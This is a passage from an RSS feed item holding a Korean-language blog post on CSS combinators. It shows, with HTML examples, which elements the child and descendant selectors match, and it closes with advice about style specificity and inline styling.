  &lt;div&gt;Not applied&lt;/div&gt;
  &lt;p&gt;CSS applied&lt;/p&gt;            &lt;!-- 적용 --&gt;
  &lt;div&gt;Not applied&lt;/div&gt;
  &lt;article&gt;
      &lt;p&gt;Not applied&lt;/p&gt;        &lt;!-- 직계 자식 요소가 아니라 적용 안됨 --&gt;
  &lt;/article&gt;
  &lt;p&gt;CSS applied&lt;/p&gt;            &lt;!-- 적용 --&gt;
&lt;/div&gt;</code></pre>
<p>&nbsp;</p>
<h2 id="후손-선택자--공백">후손 선택자  (공백)</h2>
</li>
<li><p>가장 많이 사용하는 형태로 <span style="color:red">하위의 모든 자식</span> 요소들 중에서 선택한다. </p>
<pre><code class="language-css">div p {
    color: red;
}</code></pre>
<pre><code class="language-html">&lt;div&gt;
  &lt;div&gt;Not applied&lt;/div&gt;
  &lt;p&gt;CSS applied&lt;/p&gt;            &lt;!-- 적용 --&gt;
  &lt;div&gt;Not applied&lt;/div&gt;
  &lt;article&gt;
    &lt;p&gt;CSS applied&lt;/p&gt;        &lt;!-- 적용 --&gt;
  &lt;/article&gt;
  &lt;p&gt;CSS applied&lt;/p&gt;            &lt;!-- 적용 --&gt;
&lt;/div&gt;</code></pre>
</li>
</ul>
<p>&nbsp;
&nbsp;
&nbsp;</p>
<blockquote>
<p>결합자를 활용할  구체적으로 요소를 명시할 경우 우선순위가 높아진다. </p>
</blockquote>
<hr>
<p>  스타일이 제대로 적용되지 않는다고 우선순위가 높은 inline styling 방식만을 고집하는 개발자는 되지 말자...꼭 덮어쓰는 방식을 서로 고려하여 코드 작성하기</p>
]]></description>
        </item>
    </channel>
</rss>